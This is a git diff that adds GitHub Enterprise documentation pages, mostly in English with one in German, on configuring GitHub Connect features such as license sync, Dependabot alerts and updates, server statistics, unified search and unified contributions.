+{% data reusables.enterprise-licensing.verified-domains-license-sync %}
+
+## Enabling license synchronization
+
+Before enabling license synchronization on {% data variables.location.product_location %}, you must enable {% data variables.product.prodname_github_connect %}. For more information, see "[Managing {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/managing-github-connect)."
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.github-connect-tab %}
+1. Under "Server can sync user license count and usage", use the drop-down menu and select **Enabled**.
+  ![Drop-down menu to enable automatic user license sync](/assets/images/enterprise/site-admin-settings/enable-user-license-drop-down.png)
diff --git a/translations/de-DE/content/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise.md b/translations/de-DE/content/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise.md
new file mode 100644
index 0000000000..7bafbb4324
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise.md
@@ -0,0 +1,135 @@
+---
+title: Enabling Dependabot for your enterprise
+intro: 'You can allow users of {% data variables.location.product_location %} to find and fix vulnerabilities in code dependencies by enabling {% data variables.product.prodname_dependabot_alerts %}{% ifversion ghes %} and {% data variables.product.prodname_dependabot_updates %}{% endif %}.'
+miniTocMaxHeadingLevel: 3
+shortTitle: Dependabot
+redirect_from:
+  - /enterprise/admin/installation/enabling-security-alerts-for-vulnerable-dependencies-on-github-enterprise-server
+  - /enterprise/admin/configuration/enabling-security-alerts-for-vulnerable-dependencies-on-github-enterprise-server
+  - /enterprise/admin/configuration/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server
+  - /admin/configuration/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server
+  - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server
+  - /admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server
+  - /admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account
+  - /admin/configuration/configuring-github-connect/enabling-the-dependency-graph-and-dependabot-alerts-for-your-enterprise
+permissions: 'Enterprise owners can enable {% data variables.product.prodname_dependabot %}.'
+versions:
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Security
+  - Dependency graph
+  - Dependabot
+---
+
+## About {% data variables.product.prodname_dependabot %} for {% data variables.product.product_name %}
+
+{% data variables.product.prodname_dependabot %} helps users of {% data variables.location.product_location %} find and fix vulnerabilities in their dependencies.{% ifversion ghes %} You can enable {% data variables.product.prodname_dependabot_alerts %} to notify users about vulnerable dependencies and {% data variables.product.prodname_dependabot_updates %} to fix the vulnerabilities and keep dependencies updated to the latest version.
+
+{% data variables.product.prodname_dependabot %} is just one of many features available to harden supply chain security for {% data variables.location.product_location %}. For more information about the other features, see "[About supply chain security for your enterprise](/admin/code-security/managing-supply-chain-security-for-your-enterprise/about-supply-chain-security-for-your-enterprise)."
+
+### About {% data variables.product.prodname_dependabot_alerts %}
+{% endif %}
+
+{% data reusables.dependabot.dependabot-alerts-beta %}
+
+With {% data variables.product.prodname_dependabot_alerts %}, {% data variables.product.prodname_dotcom %} identifies insecure dependencies in repositories and creates alerts on {% data variables.location.product_location %}, using data from the {% data variables.product.prodname_advisory_database %} and the dependency graph service.
+
+{% data reusables.repositories.tracks-vulnerabilities %}
+
+After you enable {% data variables.product.prodname_dependabot_alerts %} for your enterprise, vulnerability data is synced from the {% data variables.product.prodname_advisory_database %} to your instance once every hour. Only {% data variables.product.company_short %}-reviewed advisories are synchronized. {% data reusables.security-advisory.link-browsing-advisory-db %} 
+
+You can also choose to manually sync vulnerability data at any time. For more information, see "[Viewing the vulnerability data for your enterprise](/admin/code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise)."
+
+{% note %}
+
+**Note:** When you enable {% data variables.product.prodname_dependabot_alerts %}, no code or information about code from {% data variables.location.product_location %} is uploaded to {% data variables.product.prodname_dotcom_the_website %}. 
+
+{% endnote %}
+
+When {% data variables.location.product_location %} receives information about a vulnerability, it identifies repositories in  {% data variables.location.product_location %} that use the affected version of the dependency and generates {% data variables.product.prodname_dependabot_alerts %}. You can choose whether or not to notify users automatically about new {% data variables.product.prodname_dependabot_alerts %}. 
+
+For repositories with {% data variables.product.prodname_dependabot_alerts %} enabled, scanning is triggered on any push to the default branch that contains a manifest file or lock file. Additionally, when a new vulnerability record is added to {% data variables.location.product_location %}, {% data variables.product.product_name %} scans all existing repositories on {% data variables.location.product_location %} and generates alerts for any repository that is vulnerable. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)."
+
+{% ifversion ghes %}
+### About {% data variables.product.prodname_dependabot_updates %}
+
+{% data reusables.dependabot.beta-security-and-version-updates %}
+
+After you enable {% data variables.product.prodname_dependabot_alerts %}, you can choose to enable {% data variables.product.prodname_dependabot_updates %}. When {% data variables.product.prodname_dependabot_updates %} are enabled for {% data variables.location.product_location %}, users can configure repositories so that their dependencies are updated and kept secure automatically. 
+
+{% note %} 
+
+**Note:** {% data variables.product.prodname_dependabot_updates %} on {% data variables.product.product_name %} requires {% data variables.product.prodname_actions %} with self-hosted runners.
+
+{% endnote %}
+
+By default, {% data variables.product.prodname_actions %} runners used by {% data variables.product.prodname_dependabot %} need access to the internet, to download updated packages from upstream package managers. For {% data variables.product.prodname_dependabot_updates %} powered by {% data variables.product.prodname_github_connect %}, internet access provides your runners with a token that allows access to dependencies and advisories hosted on {% data variables.product.prodname_dotcom_the_website %}.
+
+With {% data variables.product.prodname_dependabot_updates %}, {% data variables.product.company_short %} automatically creates pull requests to update dependencies in two ways.
+
+- **{% data variables.product.prodname_dependabot_version_updates %}**: Users add a {% data variables.product.prodname_dependabot %} configuration file to the repository to enable {% data variables.product.prodname_dependabot %} to create pull requests when a new version of a tracked dependency is released. For more information, see "[About {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates)."
+- **{% data variables.product.prodname_dependabot_security_updates %}**: Users toggle a repository setting to enable {% data variables.product.prodname_dependabot %} to create pull requests when {% data variables.product.prodname_dotcom %} detects a vulnerability in one of the dependencies of the dependency graph for the repository. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies)" and "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)."
+{% endif %}
+
+## Enabling {% data variables.product.prodname_dependabot_alerts %}
+
+Before you can enable {% data variables.product.prodname_dependabot_alerts %}:
+- You must enable {% data variables.product.prodname_github_connect %}. For more information, see "[Managing {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/managing-github-connect)."{% ifversion ghes %}
+- You must enable the dependency graph. For more information, see "[Enabling the dependency graph for your enterprise](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise)."{% endif %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.github-connect-tab %}
+{%- ifversion dependabot-updates-github-connect %}
+1. Under "{% data variables.product.prodname_dependabot %}", to the right of "Users can receive vulnerability alerts for open source code dependencies", select the dropdown menu and click **Enabled without notifications**. Optionally, to enable alerts with notifications, click **Enabled with notifications**.
+
+   ![Screenshot of the dropdown menu to enable scanning repositories for vulnerabilities](/assets/images/enterprise/site-admin-settings/dependabot-alerts-dropdown.png)
+
+{%- else %}
+1. Under "Repositories can be scanned for vulnerabilities", select the drop-down menu and click **Enabled without notifications**. Optionally, to enable alerts with notifications, click **Enabled with notifications**.
+   ![Drop-down menu to enable scanning repositories for vulnerabilities](/assets/images/enterprise/site-admin-settings/enable-vulnerability-scanning-in-repositories.png)
+{%- endif %}
+   {% tip %}
+
+   **Tip**: We recommend configuring {% data variables.product.prodname_dependabot_alerts %} without notifications for the first few days to avoid an overload of emails. After a few days, you can enable notifications to receive {% data variables.product.prodname_dependabot_alerts %} as usual.
+
+   {% endtip %}
+
+{% ifversion dependabot-updates-github-connect %}
+## Enabling {% data variables.product.prodname_dependabot_updates %}
+
+After you enable {% data variables.product.prodname_dependabot_alerts %} for your enterprise, you can enable {% data variables.product.prodname_dependabot_updates %}.
+
+{% ifversion ghes %}
+{% data reusables.dependabot.enabling-actions-for-ghes %} For more information, see "[Getting started with {% data variables.product.prodname_actions %} for GitHub Enterprise Server](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)."
+
+{% data variables.product.prodname_dependabot_updates %} are not supported on {% data variables.product.product_name %} if your enterprise uses clustering.
+{% endif %}
+
+{% data reusables.enterprise_site_admin_settings.sign-in %}
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.advanced-security-tab %}
+1. Under "Security", select **{% data variables.product.prodname_dependabot_security_updates %}**.
+
+   ![Screenshot of the checkbox to enable or disable {% data variables.product.prodname_dependabot_security_updates %}](/assets/images/enterprise/management-console/enable-dependabot-updates.png)
+
+{% data reusables.enterprise_management_console.save-settings %}
+1. Click **Visit your instance**.
+1. Configure dedicated self-hosted runners to create the pull requests that will update dependencies. This is required because the workflows use a specific runner label. For more information, see "[Managing self-hosted runners for {% data variables.product.prodname_dependabot_updates %} on your enterprise](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/managing-self-hosted-runners-for-dependabot-updates)."
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.github-connect-tab %}
+1. Under "{% data variables.product.prodname_dependabot %}", to the right of "Users can easily upgrade to non-vulnerable open source code dependencies", click **Enable**.
+
+   ![Screenshot of the dropdown menu to enable updating vulnerable dependencies](/assets/images/enterprise/site-admin-settings/dependabot-updates-button.png)
+
+{% endif %}
+{% ifversion ghes %}
+
+When you enable {% data variables.product.prodname_dependabot_alerts %}, you should consider also setting up {% data variables.product.prodname_actions %} for {% data variables.product.prodname_dependabot_security_updates %}. This feature allows developers to fix vulnerabilities in their dependencies. For more information, see "[Managing self-hosted runners for {% data variables.product.prodname_dependabot_updates %} on your enterprise](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/managing-self-hosted-runners-for-dependabot-updates)."
+
+If you need enhanced security, we recommend configuring {% data variables.product.prodname_dependabot %} to use private registries. For more information, see "[Managing encrypted secrets for {% data variables.product.prodname_dependabot %}](/code-security/dependabot/working-with-dependabot/managing-encrypted-secrets-for-dependabot)."
+
+{% endif %}
diff --git a/translations/de-DE/content/admin/configuration/configuring-github-connect/enabling-server-statistics-for-your-enterprise.md b/translations/de-DE/content/admin/configuration/configuring-github-connect/enabling-server-statistics-for-your-enterprise.md
new file mode 100644
index 0000000000..e42ff2fafe
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-github-connect/enabling-server-statistics-for-your-enterprise.md
@@ -0,0 +1,30 @@
+---
+title: Enabling Server Statistics for your enterprise
+intro: 'You can analyze your own aggregate data from {% data variables.product.prodname_ghe_server %} and help us improve {% data variables.product.company_short %} products by enabling {% data variables.product.prodname_server_statistics %}.'
+versions:
+  feature: server-statistics
+redirect_from:
+  - /early-access/github/analyze-how-your-team-works-with-server-statistics/about-server-statistics/enabling-server-statistics
+topics:
+  - Enterprise
+shortTitle: Server Statistics
+---
+
+## About {% data variables.product.prodname_server_statistics %}
+
+{% data variables.product.prodname_server_statistics %} collects aggregate usage data from {% data variables.location.product_location %}, which you can use to better anticipate the needs of your organization, understand how your team works, and show the value you get from {% data variables.product.prodname_ghe_server %}. 
+
+{% data variables.product.prodname_server_statistics %} only collects certain aggregate metrics on repositories, issues, pull requests, and other features.{% data variables.product.prodname_dotcom %} content, such as code, issues, comments, or pull request content, is not collected. For more information, see "[About {% data variables.product.prodname_server_statistics %}](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics)."
+
+By enabling {% data variables.product.prodname_server_statistics %}, you are also helping to improve {% data variables.product.company_short %}. The aggregated data you will provide helps us understand how our customers are using {% data variables.product.prodname_dotcom %}, and make better and more informed product decisions, ultimately benefiting you.
+
+## Enabling {% data variables.product.prodname_server_statistics %}
+
+Before you can enable {% data variables.product.prodname_server_statistics %}, you must first connect your {% data variables.product.prodname_ghe_server %} instance to {% data variables.product.prodname_dotcom_the_website %} through {% data variables.product.prodname_github_connect %}. For more information, see "[Connecting {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_cloud %}](/enterprise-server@3.1/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/connecting-github-enterprise-server-to-github-enterprise-cloud)."
+
+You can disable {% data variables.product.prodname_server_statistics %} from {% data variables.product.prodname_ghe_server %} at any time.
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.github-connect-tab %}
+4. Under "Share server statistics with GitHub.com", select the dropdown menu and click **Enabled** or **Disabled**.
+  ![Screenshot of {% data variables.product.prodname_server_statistics %} drop-down menu with disabled or enabled options](/assets/images/help/server-statistics/server-statistics-enable-disable-options.png)
diff --git a/translations/de-DE/content/admin/configuration/configuring-github-connect/enabling-unified-contributions-for-your-enterprise.md b/translations/de-DE/content/admin/configuration/configuring-github-connect/enabling-unified-contributions-for-your-enterprise.md
new file mode 100644
index 0000000000..e9c67f0fcd
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-github-connect/enabling-unified-contributions-for-your-enterprise.md
@@ -0,0 +1,54 @@
+---
+title: Enabling unified contributions for your enterprise
+shortTitle: Unified contributions
+intro: 'You can allow users to include anonymized contribution counts for their work on {% data variables.location.product_location %} in their contribution graphs on {% data variables.product.prodname_dotcom_the_website %}.'
+redirect_from:
+  - /enterprise/admin/guides/developer-workflow/enabling-unified-contributions-between-github-enterprise-and-github-com
+  - /enterprise/admin/guides/developer-workflow/enabling-unified-contributions-between-github-enterprise-server-and-github-com
+  - /enterprise/admin/developer-workflow/enabling-unified-contributions-between-github-enterprise-server-and-githubcom
+  - /enterprise/admin/installation/enabling-unified-contributions-between-github-enterprise-server-and-githubcom
+  - /enterprise/admin/configuration/enabling-unified-contributions-between-github-enterprise-server-and-githubcom
+  - /admin/configuration/enabling-unified-contributions-between-github-enterprise-server-and-githubcom
+  - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-unified-contributions-between-github-enterprise-server-and-githubcom
+  - /admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom
+permissions: 'Enterprise owners can enable unified contributions between {% data variables.location.product_location %} and {% data variables.product.prodname_dotcom_the_website %}.'
+versions:
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Enterprise
+  - GitHub Connect
+---
+
+{% data reusables.github-connect.beta %}
+
+## About unified contributions
+
+As an enterprise owner, you can allow end users to send anonymized contribution counts for their work from {% data variables.location.product_location %} to their {% data variables.product.prodname_dotcom_the_website %} contribution graph.
+
+After you enable {% data variables.enterprise.prodname_unified_contributions %}, before individual users can send contribution counts from {% data variables.location.product_location %} to {% data variables.product.prodname_dotcom_the_website %}, each user must also connect their user account on {% data variables.product.product_name %} with a personal account on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)."
+
+{% data reusables.github-connect.sync-frequency %}
+
+If the enterprise owner disables the functionality or individual users opt out of the connection, the contribution counts from {% data variables.product.product_name %} will be deleted on {% data variables.product.prodname_dotcom_the_website %}. If the user reconnects their profiles after disabling them, the contribution counts for the past 90 days are restored.
+
+{% data variables.product.product_name %} **only** sends the contribution count and source ({% data variables.product.product_name %}) for connected users. It does not send any information about the contribution or how it was made.
+
+## Enabling unified contributions
+
+Before enabling {% data variables.enterprise.prodname_unified_contributions %} on {% data variables.location.product_location %}, you must enable {% data variables.product.prodname_github_connect %}. For more information, see "[Managing {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/managing-github-connect)."
+
+{% ifversion ghes %}
+{% data reusables.github-connect.access-dotcom-and-enterprise %}
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.business %}
+{% data reusables.enterprise-accounts.github-connect-tab %}{% else %}
+1. Sign in to {% data variables.location.product_location %} and {% data variables.product.prodname_dotcom_the_website %}.
+{% data reusables.enterprise-accounts.access-enterprise %}{% data reusables.enterprise-accounts.github-connect-tab %}{% endif %}
+1. Under "Users can share contribution counts to {% data variables.product.prodname_dotcom_the_website %}", click **Request access**.
+  ![Request access to unified contributions option](/assets/images/enterprise/site-admin-settings/dotcom-ghe-connection-request-access.png){% ifversion ghes %}
+2. [Sign in](https://enterprise.github.com/login) to the {% data variables.product.prodname_ghe_server %} site to receive further instructions.
+
+When you request access, we may redirect you to the {% data variables.product.prodname_ghe_server %} site to check your current terms of service.
+{% endif %}
diff --git a/translations/de-DE/content/admin/configuration/configuring-github-connect/enabling-unified-search-for-your-enterprise.md b/translations/de-DE/content/admin/configuration/configuring-github-connect/enabling-unified-search-for-your-enterprise.md
new file mode 100644
index 0000000000..196fc8b6b8
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-github-connect/enabling-unified-search-for-your-enterprise.md
@@ -0,0 +1,53 @@
+---
+title: Enabling unified search for your enterprise
+shortTitle: Unified search
+intro: 'You can allow users to include repositories on {% data variables.product.prodname_dotcom_the_website %} in their search results when searching from {% data variables.location.product_location %}.'
+redirect_from:
+  - /enterprise/admin/guides/developer-workflow/enabling-unified-search-between-github-enterprise-and-github-com
+  - /enterprise/admin/guides/developer-workflow/enabling-unified-search-between-github-enterprise-server-and-github-com
+  - /enterprise/admin/developer-workflow/enabling-unified-search-between-github-enterprise-server-and-githubcom
+  - /enterprise/admin/installation/enabling-unified-search-between-github-enterprise-server-and-githubcom
+  - /enterprise/admin/configuration/enabling-unified-search-between-github-enterprise-server-and-githubcom
+  - /admin/configuration/enabling-unified-search-between-github-enterprise-server-and-githubcom
+  - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-unified-search-between-github-enterprise-server-and-githubcom
+  - /admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom
+permissions: 'Enterprise owners can enable unified search between {% data variables.product.product_name %} and {% data variables.product.prodname_dotcom_the_website %}.'
+versions:
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Enterprise
+  - GitHub Connect
+  - GitHub search
+---
+
+## About {% data variables.enterprise.prodname_unified_search %}
+
+{% data reusables.github-connect.beta %}
+
+When you enable unified search, users can view search results from content on {% data variables.product.prodname_dotcom_the_website %} when searching from {% data variables.location.product_location %}{% ifversion ghae %} on {% data variables.product.prodname_ghe_managed %}{% endif %}. 
+
+You can choose to allow search results for public repositories on {% data variables.product.prodname_dotcom_the_website %}, and you can separately choose to allow search results for private repositories on {% data variables.product.prodname_ghe_cloud %}. If you enable unified search for private repositories, users can only search private repositories that they have access to and that are owned by the connected organization or enterprise account. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github/#searching-across-github-enterprise-and-githubcom-simultaneously)."
+
+Users will never be able to search {% data variables.location.product_location %} from {% data variables.product.prodname_dotcom_the_website %}, even if they have access to both environments.
+
+After you enable unified search for {% data variables.location.product_location %}, before individual users can see search results from private repositories on {% data variables.product.prodname_dotcom_the_website %} in {% data variables.location.product_location %}, each user must also connect their user account on {% data variables.product.product_name %} with a user account on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search in your private enterprise account](/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment)."
+
+Searching via the REST and GraphQL APIs does not include {% data variables.product.prodname_dotcom_the_website %} search results. Advanced search and searching for wikis in {% data variables.product.prodname_dotcom_the_website %} are not supported.
+
+## Enabling {% data variables.enterprise.prodname_unified_search %}
+
+Before you can enable {% data variables.enterprise.prodname_unified_search %}, you must enable {% data variables.product.prodname_github_connect %}. For more information, see "[Managing {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/managing-github-connect)."
+
+{% ifversion ghes %}
+{% data reusables.github-connect.access-dotcom-and-enterprise %}
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.business %}
+{% data reusables.enterprise-accounts.github-connect-tab %}{% else %}
+1. Sign into {% data variables.location.product_location %} and {% data variables.product.prodname_dotcom_the_website %}.
+{% data reusables.enterprise-accounts.access-enterprise %}{% data reusables.enterprise-accounts.github-connect-tab %}{% endif %}
+1. Under "Users can search {% data variables.product.prodname_dotcom_the_website %}", use the drop-down menu and click **Enabled**.
+  ![Enable search option in the search GitHub.com drop-down menu](/assets/images/enterprise/site-admin-settings/github-dotcom-enable-search.png)
+1. Optionally, under "Users can search private repositories on {% data variables.product.prodname_dotcom_the_website %}", use the drop-down menu and click **Enabled**.
+    ![Enable private repositories search option in the search GitHub.com drop-down menu](/assets/images/enterprise/site-admin-settings/enable-private-search.png)
diff --git a/translations/de-DE/content/admin/configuration/configuring-github-connect/index.md b/translations/de-DE/content/admin/configuration/configuring-github-connect/index.md
new file mode 100644
index 0000000000..f0cbe3aeab
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-github-connect/index.md
@@ -0,0 +1,29 @@
+---
+title: Configuring GitHub Connect
+intro: 'With {% data variables.product.prodname_github_connect %}, you can access additional features and workflows by connecting {% data variables.location.product_location %} to {% data variables.product.prodname_ghe_cloud %}.'
+redirect_from:
+  - /enterprise/admin/developer-workflow/connecting-github-enterprise-to-github-com
+  - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-and-github-com
+  - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-server-and-github-com
+  - /enterprise/admin/developer-workflow/connecting-github-enterprise-server-and-githubcom
+  - /enterprise/admin/installation/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud
+  - /enterprise/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud
+  - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud
+  - /admin/configuration/managing-connections-between-your-enterprise-accounts
+versions:
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Enterprise
+children:
+  - /about-github-connect
+  - /managing-github-connect
+  - /enabling-automatic-user-license-sync-for-your-enterprise
+  - /enabling-dependabot-for-your-enterprise
+  - /enabling-server-statistics-for-your-enterprise
+  - /enabling-unified-search-for-your-enterprise
+  - /enabling-unified-contributions-for-your-enterprise
+shortTitle: GitHub Connect
+---
+
diff --git a/translations/de-DE/content/admin/configuration/configuring-github-connect/managing-github-connect.md b/translations/de-DE/content/admin/configuration/configuring-github-connect/managing-github-connect.md
new file mode 100644
index 0000000000..b3645ba7a2
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-github-connect/managing-github-connect.md
@@ -0,0 +1,84 @@
+---
+title: Verwalten von GitHub Connect
+shortTitle: Manage GitHub Connect
+intro: 'Du kannst auf zusätzliche Features und Workflows für {% data variables.location.product_location %} zugreifen, indem du {% data variables.product.prodname_github_connect %} aktivierst.'
+redirect_from:
+  - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-to-github-com
+  - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-server-to-github-com
+  - /enterprise/admin/developer-workflow/connecting-github-enterprise-server-to-githubcom
+  - /enterprise/admin/installation/connecting-github-enterprise-server-to-github-enterprise-cloud
+  - /enterprise/admin/configuration/connecting-github-enterprise-server-to-github-enterprise-cloud
+  - /admin/configuration/connecting-github-enterprise-server-to-github-enterprise-cloud
+  - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/connecting-github-enterprise-server-to-github-enterprise-cloud
+  - /admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud
+versions:
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Enterprise
+  - GitHub Connect
+  - Infrastructure
+  - Networking
+ms.openlocfilehash: 30a170543b63c390aa8975b1ca57c265bc7fa8fa
+ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/10/2022
+ms.locfileid: '148160649'
+---
+{% data reusables.github-connect.beta %}
+
+## Informationen zu {% data variables.product.prodname_github_connect %}
+
+Du kannst auf zusätzliche Features und Workflows für {% data variables.location.product_location %} zugreifen, indem du {% data variables.product.prodname_github_connect %} aktivierst. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect).
+
+Wenn du {% data variables.product.prodname_github_connect %} aktivierst, konfiguriere eine Verbindung zwischen {% data variables.location.product_location %} und einem Organisations- oder Unternehmenskonto für {% data variables.product.prodname_ghe_cloud %}. {% data reusables.github-connect.connection-port-protocol %}
+
+Die Aktivierung von {% data variables.product.prodname_github_connect %} erstellt eine {% data variables.product.prodname_github_app %}, die dem Organisations- oder Unternehmenskonto auf {% data variables.product.prodname_ghe_cloud %} gehört. {% data variables.product.product_name %} verwendet die Anmeldeinformationen von {% data variables.product.prodname_github_app %}, um Anforderungen an {% data variables.product.prodname_ghe_cloud %} zu stellen.
+
+{% ifversion ghes %} {% data variables.product.prodname_ghe_server %} speichert Anmeldeinformationen aus der {% data variables.product.prodname_github_app %}. Diese Anmeldeinformationen werden zu allen Knoten in einer Hochverfügbarkeits- oder Clusteringumgebung repliziert und in von {% data variables.product.prodname_enterprise_backup_utilities %} erstellten Sicherungen, einschließlich Momentaufnahmen, gespeichert.
+- Ein Authentifizierungstoken, das eine Stunde lang gültig ist
+- Ein privater Schlüssel, der zum Generieren eines neuen Authentifizierungstokens {% endif %} verwendet wird
+
+## Voraussetzungen
+
+Um {% data variables.product.prodname_github_connect %} zu verwenden, musst du über ein Organisations- oder Unternehmenskonto auf {% data variables.product.prodname_dotcom_the_website %} verfügen, das {% data variables.product.prodname_ghe_cloud %} verwendet. Möglicherweise ist {% data variables.product.prodname_ghe_cloud %} bereits in deinem Plan enthalten. {% data reusables.enterprise.link-to-ghec-trial %}
+
+{% ifversion ghes %} Wenn deine Organisations- oder Unternehmenskonto auf {% data variables.product.prodname_dotcom_the_website %} IP-Zulassungslisten verwendet, musst du die IP-Adresse oder das Netzwerk für {% data variables.location.product_location %} zu deiner IP-Zulassungsliste auf {% data variables.product.prodname_dotcom_the_website %} hinzufügen. Weitere Informationen findest du in der {% data variables.product.prodname_ghe_cloud %}-Dokumentation unter [Verwalten zulässiger IP-Adressen für deine Organisation](/enterprise-cloud@latest/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-allowed-ip-addresses-for-your-organization) und [Erzwingen von Richtlinien für Sicherheitseinstellungen in deinem Unternehmen](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise).
+
+Um eine Verbindung zu konfigurieren, muss deine Proxykonfiguration die Konnektivität mit `github.com`, `api.github.com` und `uploads.github.com` zulassen. Weitere Informationen findest du unter [Konfigurieren eines ausgehenden Webproxyservers](/enterprise/admin/guides/installation/configuring-an-outbound-web-proxy-server).
+{% endif %}
+
+## {% data variables.product.prodname_github_connect %} aktivieren
+
+Unternehmensbesitzer*innen, die auch Besitzer*innen eines Organisations- oder Unternehmenskontos sind, das {% data variables.product.prodname_ghe_cloud %} verwendet, können {% data variables.product.prodname_github_connect %} aktivieren.
+
+Wenn du {% data variables.location.product_location %} mit einer Organisation auf {% data variables.product.prodname_ghe_cloud %} verbindest, die nicht zu einem Unternehmenskonto gehört, musst du dich bei {% data variables.product.prodname_dotcom_the_website %} als Organisationsbesitzer*in anmelden.
+
+Wenn du {% data variables.location.product_location %} mit einer Organisation auf {% data variables.product.prodname_ghe_cloud %} verbindest, die zu einem Unternehmenskonto oder einem Unternehmen selbst gehört, musst du dich bei {% data variables.product.prodname_dotcom_the_website %} als Unternehmensbesitzer*in anmelden.
+
+{% ifversion ghes %}
+1. Melde dich bei {% data variables.location.product_location %} und {% data variables.product.prodname_dotcom_the_website %} an.
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.github-connect-tab %}{% else %}
+1. Melde dich bei {% data variables.location.product_location %} und {% data variables.product.prodname_dotcom_the_website %} an.
+{% data reusables.enterprise-accounts.access-enterprise %}{% data reusables.enterprise-accounts.github-connect-tab %}{% endif %}
+1. Klicke unter „{% data variables.product.prodname_github_connect %} noch nicht aktiviert“, und klicke auf **{% data variables.product.prodname_github_connect %} aktivieren**. Durch Klicken auf **{% data variables.product.prodname_github_connect %} aktivieren** erklärst du dich mit den <a href="/github/site-policy/github-terms-for-additional-products-and-features#connect" class="dotcom-only">{% data variables.product.prodname_dotcom %}-Bedingungen für zusätzliche Produkte und Funktionen</a> einverstanden.
